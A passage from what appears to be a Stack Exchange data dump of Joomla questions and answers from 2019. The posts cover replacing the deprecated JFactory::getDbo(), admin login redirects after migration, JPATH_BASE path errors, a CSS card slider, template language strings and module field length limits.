self::getContainer()-&amp;gt;get('DatabaseDriver');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What's the right way to get a DBO in the new containerized system?&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12352" LastEditDate="2019-04-16T03:48:17.393" LastActivityDate="2021-08-23T21:24:24.657" Title="JFactory::getDbo() deprecated-- what's the replacement?" Tags="|joomla-3.x|database|jfactory|joomla-4.x|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24485" PostTypeId="2" ParentId="24484" CreationDate="2019-04-14T03:59:28.307" Score="2" Body="&lt;p&gt;Your comment led me to doubt my belief that &lt;code&gt;getDbo()&lt;/code&gt; is alive and well.  I have tested my below techniques on Joomla3.9.5 and there are no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original answer...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on this documentation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Factory.html#method_getDbo&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.Factory.html#method_getDbo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Returns the global \JDatabaseDriver object, only creating it if it doesn't already exist.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should be able to use &lt;code&gt;getDbo&lt;/code&gt;()`.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use \Joomla\CMS\Factory;  // at the top of your file&#xA;$db = Factory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or you can make the &lt;a href=&quot;https://stackoverflow.com/a/40748271/2943403&quot;&gt;static call on the fully qualified namespace&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = \Joomla\CMS\Factory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Later answer...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming your have set the &lt;code&gt;DatabaseDriver&lt;/code&gt; in your container.  Let's say something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$container = new Joomla\DI\Container;&#xA;$container-&amp;gt;set('DatabaseDriver', Factory::getDbo());  // this is just what I used to set the driver&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you merely fetch it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = $container-&amp;gt;get('DatabaseDriver');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tested &lt;code&gt;$db&lt;/code&gt; to successfully allow queries on my local.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some references:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/joomla-framework/di&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-framework/di&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/joomla-framework/di/blob/master/docs/why-dependency-injection.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-framework/di/blob/master/docs/why-dependency-injection.md&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/q/19459/12352&quot;&gt;Example of DI Container usage in Jooma 3.x&lt;/a&gt;&#xA;&lt;a href=&quot;https://github.com/joomla-framework/di&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla-framework/di&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To explain why I went to &lt;code&gt;DI&lt;/code&gt;, I saw the following comment block in &lt;code&gt;libraries/src/Factory.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Global database object&#xA; *&#xA; * @var    DatabaseDriver&#xA; * @since  11.1&#xA; * @deprecated  5.0  Use the database service in the DI container&#xA; */&#xA;public static $database = null;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-04-14T22:20:59.533" LastActivityDate="2019-04-14T22:20:59.533" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24486" PostTypeId="2" ParentId="24484" CreationDate="2019-04-14T16:02:22.293" Score="8" Body="&lt;p&gt;Joomla 3.9.x has a file  public_html/libraries/classmap.php that contains all the old style Class names, and the new replacements. E.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::registerAlias('JFactory', '\\Joomla\\CMS\\Factory', '5.0');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;JFactory is indeed deprecated. You can rewrite&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// JFactory is deprecated&#xA;$db = JFactory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Put at the top of your file &#xA;use Joomla\CMS\Factory;&#xA;&#xA;// Just remove the J &#xA;$db = Factory::getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;btw: sometimes the factory class has already been loaded and then you can just use  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = $this-&amp;gt;getDbo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What IDE do you use? &#xA;&lt;strong&gt;Some  IDE software&lt;/strong&gt; packages can &lt;strong&gt;help you finding the right classes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;strong&gt;PHPStorm&lt;/strong&gt; (commercial software) together with &lt;strong&gt;CodeSniffer&lt;/strong&gt; and the &lt;strong&gt;Joomla code standard&lt;/strong&gt;. PHPStorm indicates all deprecated classes. When I click on CTRL + point the mouse on JFactory, my IDE gives a pop-up &quot;alias JFactory of abstract class Factory&quot;. When I CTRL + click on JFactory, my IDE opens the classmap file with old/new Class names. To easily replace the JFactory with the new Factory name, I click on it, press ALT + ENTER and choose &quot;Import Class&quot;, choose Joomla\CMS\Factory, and the correct Name Spacing is placed on top of my file.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-04-14T16:02:22.293" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24487" PostTypeId="2" ParentId="24479" CreationDate="2019-04-14T21:04:40.203" Score="0" Body="&lt;p&gt;Turned out that it was a very old library (Expose Template Framework, from 2013 and Joomla 2.5) that was laying around and interfered with global settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removed it and the site is back to normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moral: always trackdown and remove old stuff from your CMS!&lt;/p&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2019-04-14T21:04:40.203" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24489" PostTypeId="2" ParentId="24484" CreationDate="2019-04-15T05:56:58.913" Score="6" Body="&lt;p&gt;Your issue comes solely from confusion about Joomla! versions. These facts should clear the air:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;\Joomla\CMS\Factory::getDbo()&lt;/code&gt; is deprecated in 4.0 and will be removed in 5.0. It is alive and well in 3.9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;\Joomla\CMS\Factory::getContainer()&lt;/code&gt; doesn't exist in 3.9 as it was only added in 4.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code you were looking at is from 4.0, not from 3.9.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In extensions compatible with 3.9 keep using &lt;code&gt;\Joomla\CMS\Factory::getDbo()&lt;/code&gt;. Use &lt;code&gt;\Joomla\CMS\Factory::getContainer()&lt;/code&gt; only in extensions compatible with 4.0 and above.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-04-15T05:56:58.913" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24490" PostTypeId="2" ParentId="24469" CreationDate="2019-04-15T07:51:33.343" Score="-1" Body="&lt;p&gt;The Ipad pro has a retina display, so that it's necessary to configure a retina logo in the Helix3 template!&lt;/p&gt;&#xA;" OwnerUserId="13471" LastActivityDate="2019-04-15T07:51:33.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24491" PostTypeId="1" CreationDate="2019-04-15T14:11:32.963" Score="0" ViewCount="119" Body="&lt;p&gt;I've been extensively searching the web but found no useful solution and would be happy for any input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After migrating the site to a new server (Apache, no apparent changes, just newer) and adding the (cPanel Auto) SSL, the admin (mydomain.com/administrator) displays a login page but after clicking on &quot;Login&quot;, I get constantly redirected to mydomain.com/de/administrator (or whatever language [code] is selected on front-end) and I get&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;404 error: Category not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;¯\_(ツ)_/¯ (go figure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tried to change sef and sef_rewrite settings in configuration.php,&lt;/li&gt;&#xA;&lt;li&gt;double checked the cookie_domain and live_site,&lt;/li&gt;&#xA;&lt;li&gt;cleared the cache,&lt;/li&gt;&#xA;&lt;li&gt;tried a different browser, but was unable to login to the admin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Can you help me to find a solution to be able to login? Is there any other way to disable automatic language override plugin or something?&lt;/p&gt;&#xA;" OwnerUserId="13478" LastEditorUserId="12352" LastEditDate="2019-04-15T20:59:57.963" LastActivityDate="2023-12-22T18:00:25.057" Title="Joomla admin redirects to language code after login" Tags="|login|redirect|joomla-3.9|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24492" PostTypeId="2" ParentId="22549" CreationDate="2019-04-15T15:35:43.013" Score="4" Body="&lt;p&gt;I had this problem with these exact symptoms, and the culprit turned out to be that $cookie_domain was defined in configuration.php, and it had the wrong domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This was a staging site, this site was a subdomain of the main domain.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting $cookie_domain to '' or the correct domain fixed this issue. &lt;/p&gt;&#xA;" OwnerUserId="7438" LastActivityDate="2019-04-15T15:35:43.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24493" PostTypeId="1" CreationDate="2019-04-16T10:48:38.297" Score="0" ViewCount="209" Body="&lt;p&gt;I built a small website using Joomla 3.4.0./ Wampserver 2.4 on Windows 8.1 Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I've upgraded the computer to Windows 10 Pro and Wamp 3.1.7 (64 bit). I've rebuilt the website with latest version of Joomla 3.9.3 from scratch, and it's working fine EXCEPT all those custom modules which access the user object. I haven't changed anything yet. I'm getting errors as below:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;( ! ) Warning: require_once(C:/wamp64/www\includes\defines.php): failed to open stream: No such file or directory in C:\wamp64\www\clib\custom\CreateNewAcc.php on line 9&lt;br&gt;&#xA;  Call Stack&lt;br&gt;&#xA;  #    Time    Memory  Function    Location&lt;br&gt;&#xA;  1 0.0162  404168  {main}( )   ...\CreateNewAcc.php:0&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;( ! ) Fatal error: require_once(): Failed opening required 'C:/wamp64/www\includes\defines.php' (include_path='.;C:\php\pear') in C:\wamp64\www\clib\custom\CreateNewAcc.php on line 9&lt;br&gt;&#xA;  Call Stack&lt;br&gt;&#xA;  #    Time    Memory  Function    Location&lt;br&gt;&#xA;  1 0.0162  404168  {main}( )   ...\CreateNewAcc.php:0&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Each of my custom code files such as 'CreateNewAcc.php' begin like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**/&#xA;#uncomment in joomla&#xA;$mf1=&quot;&quot;;&#xA;define( '_JEXEC', 1 );&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;define( 'JPATH_BASE', $_SERVER[ 'DOCUMENT_ROOT' ] );&#xA;&#xA;require_once( JPATH_BASE . DS . 'includes' . DS . 'defines.php' );&#xA;require_once( JPATH_BASE . DS . 'includes' . DS . 'framework.php' );&#xA;require_once( JPATH_BASE . DS . 'libraries' . DS . 'joomla' . DS . 'factory.php' );&#xA;$mf1 = JFactory::getApplication('site');    &#xA;&#xA;date_default_timezone_set(&quot;Asia/Calcutta&quot;);&#xA;$user = JFactory::getUser();&#xA;&#xA;$uname=$user-&amp;gt;name;&#xA;$uid=$user-&amp;gt;id;&#xA;$date= JFactory::getDate();    &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I have tried:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked the location of defines.php &amp;amp; CreateNewAcc.php files -- they're okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Earlier site was in the root of www folder, now it's in a folder of its own named 'elib' (virtual host) within www.&lt;/p&gt;&#xA;" OwnerUserId="13480" LastEditorUserId="12352" LastEditDate="2019-04-16T12:29:59.320" LastActivityDate="2019-09-14T04:04:30.447" Title="No longer able to access the User object in Joomla 3.9.3" Tags="|user|joomla-3.9|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24494" PostTypeId="2" ParentId="24493" CreationDate="2019-04-16T12:01:38.980" Score="1" Body="&lt;p&gt;Since your &lt;code&gt;JPATH_BASE&lt;/code&gt; is not &lt;code&gt;$_SERVER[ 'DOCUMENT_ROOT' ]&lt;/code&gt; anymore thus the required files fail to open. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try few things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Comment out the line which  wrongly defines JPATH_BASE on the top of your files. This can handle the error. Since JPATH_BASE is already defined globally.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or Define JPATH_BASE correctly on the top of your files, like: &lt;code&gt;define( 'JPATH_BASE', $_SERVER[ 'DOCUMENT_ROOT'] . ‘/elib’ );&lt;/code&gt; - this can also handle the issue.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or better path definition as @Lodder gave in his comment: &lt;code&gt;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/..' ));&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In above PHP 7.0 : &lt;code&gt;define( ‘JPATH_BASE’, dirname(__DIR__, 1));&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But again, JPATH_BASE does not have to be defined on the top of the files, since JPATH_BASE is defined in &lt;code&gt;_path_/index.php&lt;/code&gt;. (&lt;a href=&quot;https://docs.joomla.org/Constants&quot; rel=&quot;nofollow noreferrer&quot;&gt;reference&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-04-17T03:37:49.037" LastActivityDate="2019-04-17T03:37:49.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24495" PostTypeId="1" CreationDate="2019-04-17T05:13:27.357" Score="1" ViewCount="125" Body="&lt;p&gt;I'm fetching data using for loop and echo results on a page. How do I output the results in a slider effect?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried a simple CSS slider but can't get the intended result. What I end up getting is everything output in page and no sliding effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of my PHP code that echo the output...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ($i=0, $n=count($rows); $i &amp;lt; $n; $i++) {&#xA;    //echo &quot;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;&quot;.&#xA;    ($row = $rows[$i]);&#xA;    //.&quot;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&quot;;&#xA;    $link_detail = JRoute::_('index.php?option=com_jblance&amp;amp;view=user&amp;amp;layout=viewprofile&amp;amp;id='.$row-&amp;gt;user_id.$Itemid); &#xA;    $link_invite = JRoute::_('index.php?option=com_jblance&amp;amp;view=project&amp;amp;layout=invitetoproject&amp;amp;id='.$row-&amp;gt;user_id.'&amp;amp;tmpl=component');&#xA;    ?&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;slider&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;media style_prevu_kit&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;center&quot;&amp;gt;&#xA;                    &amp;lt;?php &#xA;                    if($show_logo){&#xA;                        $link = LinkHelper::GetProfileLink($row-&amp;gt;user_id, $row-&amp;gt;$nameOrUsername);&#xA;                        $attrib = 'style=&quot;width: 162px; height: 162px; float:center; margin: 0 auto; border-radius: 100px&quot;';&#xA;                        //echo JblanceHelper::getLogo($row-&amp;gt;user_id, $attrib);&#xA;                        echo &quot;&amp;lt;a href='&quot;.$link_detail.&quot;' class='link'&amp;gt;&quot;.JblanceHelper::getLogo($row-&amp;gt;user_id, $attrib).&quot;&amp;lt;/a&amp;gt;&quot;;&#xA;                        //echo $link_detail;&#xA;                    } ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;media-body&quot;&amp;gt;&#xA;                    &amp;lt;h5&amp;gt;&amp;lt;?php //$username = LinkHelper::GetProfileLink($row-&amp;gt;user_id, $row-&amp;gt;$nameOrUsername);&#xA;                    $getUsername = $row-&amp;gt;$nameOrUsername;&#xA;                    $nameorUsername = truncate($getUsername, 5);&#xA;                    echo LinkHelper::GetProfileLink($row-&amp;gt;user_id, $nameorUsername);&#xA;                    //echo truncate($username, 15);&#xA;                    ?&amp;gt;&amp;lt;/h5&amp;gt;&#xA;                    &amp;lt;?php //&amp;lt;?php echo JblanceHelper::getCategoryNames($row-&amp;gt;id_category, 'tags-link', 'user'); ?&amp;gt;&#xA;                    &amp;lt;/span&amp;gt;&#xA;                    &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;center&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php echo $link_invite; ?&amp;gt;&quot; class=&quot;jb-modal&quot; rel=&quot;{handler: 'iframe', size: {x: 650, y: 400}}&quot;&amp;gt;&amp;lt;input type=&quot;button&quot; value=&quot;Hire Me&quot; class=&quot;button_add button_curved_blue color-a&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;lineseparator&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;                      &amp;lt;div class=&quot;grid-2&quot;&amp;gt;&#xA;                        &amp;lt;button class=&quot;color-b circule&quot;&amp;gt; &amp;lt;i class=&quot;fab fa-dribbble fa-2x&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/button&amp;gt;&#xA;                        &amp;lt;h6 class=&quot;title-2&quot;&amp;gt;12.3k&amp;lt;/h6&amp;gt;&#xA;                        &amp;lt;p class=&quot;followers&quot;&amp;gt;Followers&amp;lt;/p&amp;gt;&#xA;                      &amp;lt;/div&amp;gt;&#xA;                      &amp;lt;div class=&quot;grid-2&quot;&amp;gt;&#xA;                        &amp;lt;button class=&quot;color-c circule&quot;&amp;gt;&amp;lt;i class=&quot;fab fa-behance fa-2x&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/button&amp;gt;&#xA;                        &amp;lt;h6 class=&quot;title-2&quot;&amp;gt;16k&amp;lt;/h6&amp;gt;&#xA;                        &amp;lt;p class=&quot;followers&quot;&amp;gt;Followers&amp;lt;/p&amp;gt;&#xA;                      &amp;lt;/div&amp;gt;&#xA;                      &amp;lt;div class=&quot;grid-2&quot;&amp;gt;&#xA;                        &amp;lt;button class=&quot;color-d circule&quot;&amp;gt;&amp;lt;i class=&quot;fab fa-github-alt fa-2x&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/button&amp;gt;&#xA;                        &amp;lt;h6 class=&quot;title-2&quot;&amp;gt;17.8k&amp;lt;/h6&amp;gt;&#xA;                        &amp;lt;p class=&quot;followers&quot;&amp;gt;Followers&amp;lt;/p&amp;gt;&#xA;                      &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;    &#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A very simple slider CSS...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.slider {&#xA;    white-space: nowrap;&#xA;    oveflow:hidden;&#xA;}&#xA;.slider&amp;gt;div {&#xA;    white-space: normal; /* reset &quot;nowrap&quot; above */&#xA;    display: inline-block;&#xA;    transition: margin-left 0.8s cubic-bezier(0.5, 0.1, 0.5, 1.25);&#xA;    /* the above transition gives a neat little &quot;bounce-back&quot; effect */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And 1 line of JavaScript...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    theSlider.children[0].style.marginLeft = (-100*pageID)+&quot;%&quot;;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I get now is this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Qxtyw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qxtyw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I need all 8 cards to automatically be sliding in 1 row or to have previous and next buttons to transition between the cards.&lt;/p&gt;&#xA;" OwnerUserId="13481" LastEditorUserId="12352" LastEditDate="2019-04-18T17:46:28.203" LastActivityDate="2019-04-18T17:46:28.203" Title="Echo PHP output in a slider effect" Tags="|joomla-3.x|php|javascript|css|carousel|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24496" PostTypeId="2" ParentId="24491" CreationDate="2019-04-17T09:15:16.213" Score="0" Body="&lt;p&gt;I found a solution for my case: I had to change my admin password in the phpMyAdmin (DB) - don't know why, though, because I naver changed it before/after migrating the Joomla! to a new server - makes no sense but it works now.&lt;/p&gt;&#xA;" OwnerUserId="13478" LastActivityDate="2019-04-17T09:15:16.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24497" PostTypeId="1" CreationDate="2019-04-17T10:26:00.950" Score="0" ViewCount="132" Body="&lt;p&gt;I'm adding a new fieldset with custom params to my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;config&amp;gt;&#xA;    &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&quot;advanced&quot; addfieldpath=&quot;/templates/mytemp/fields&quot;&amp;gt;&#xA;            ...     &#xA;        &amp;lt;/fieldset&amp;gt;&#xA;&#xA;        &amp;lt;fieldset name=&quot;custom&quot;&amp;gt;&#xA;            ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The name of that fieldset gets used for the Template-Tab as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_TEMPLATES_CUSTOM_FIELDSET_LABEL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In which language file (that needs to be installed with the template) can i insert that language constant? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;de-DE.tpl_mytemp.ini&lt;/code&gt; and &lt;code&gt;de-DE.tpl_mytemp.sys.ini&lt;/code&gt; is not working.&lt;/p&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2023-12-23T14:07:20.910" Title="Joomla custom template parameter tab title" Tags="|templates|configuration|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24498" PostTypeId="2" ParentId="16296" CreationDate="2019-04-17T19:01:38.817" Score="2" Body="&lt;p&gt;Well, I've just had my first case when using one or the other seems relevant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the database, Joomla's fields for both the &quot;params&quot; and the &quot;content&quot; fields of modules are of the type TEXT, which means a maximum of 65535 characters.  If you try and save anything over this, it will crop the end.  &lt;code&gt;&amp;lt;customContent /&amp;gt;&lt;/code&gt; saves the content in its own field (&quot;content&quot;), and the editor field type saves it in the module's &quot;params&quot; field as part of a json string (which also contains any other fields for the module).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A client has just managed to crash their site by pasting a base64 image into the editor field, whose size was longer than this character limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &quot;content&quot; field, this would just have cropped the last few characters and you'd get a broken image, which you'd need to go in to the editor and fix.  In the json &quot;params&quot; field, however, this means the saved json is then broken and you'll get an &quot;error decoding JSON&quot; message and need to go into the database to sort it out. It cannot be fixed in the admin because the module is now corrupt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there's a maxlength option on the editor field type, so both of these break it from a client's perspective, but actually crashing the site seems the worst outcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst primarily it's a client-doing-the-unexpected issue, it also seems a core Joomla bug since it should surely check that the json will upload safely or not upload it, rather than save corrupt data.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2019-04-17T19:01:38.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24499" PostTypeId="2" ParentId="22549" CreationDate="2019-04-17T22:01:05.827" Score="0" Body="&lt;p&gt;Whenever this has occured for me I have &lt;strong&gt;overwritten all of the files with the original Joomla! files&lt;/strong&gt; and that has resolved the problem.  Hours of troubleshooting and a simple solution.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2019-04-17T22:01:05.827" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24500" PostTypeId="5" CreationDate="2019-04-17T23:35:24.540" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2019-04-17T23:35:24.540" LastActivityDate="2019-04-17T23:35:24.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24501" PostTypeId="4" CreationDate="2019-04-17T23:35:24.540" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2019-04-17T23:35:24.540" LastActivityDate="2019-04-17T23:35:24.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24502" PostTypeId="2" ParentId="24497" CreationDate="2019-04-18T07:09:53.323" Score="0" Body="&lt;p&gt;First I suggest that you do not use language strings containing prefixes of other extensions. You can use your own language strings by adding &lt;code&gt;label&lt;/code&gt; attribute to the fieldset:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;custom&quot; label=&quot;TPL_MYTEMP_CUSTOM_FIELDSET_LABEL&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The file for template configuration strings is &lt;code&gt;de-DE.tpl_mytemp.ini&lt;/code&gt;. Depending on your template setup it should be installed either in &lt;code&gt;language/de-DE&lt;/code&gt; or &lt;code&gt;templates/mytemp/language/de-DE&lt;/code&gt;. If the file is not loaded, make sure &lt;code&gt;mytemp&lt;/code&gt; matches the value of &lt;code&gt;&amp;lt;name&amp;gt;&lt;/code&gt; element in &lt;code&gt;templateDetails.xml&lt;/code&gt; file. Neither should have &lt;code&gt;tpl_&lt;/code&gt; prefix, apparently. When language files are loaded &lt;code&gt;tpl_&lt;/code&gt; prefix is added automatically so in case you do have it in your template's name, the resulting file would end up being &lt;code&gt;de-DE.tpl_tpl_mytemp.ini&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further debug language issues enable &lt;code&gt;Debug Language&lt;/code&gt; in &lt;code&gt;Global Configuration&lt;/code&gt;. With this you'll see which language files are being loaded, which files are missing and if there's any errors.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-04-18T07:09:53.323" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
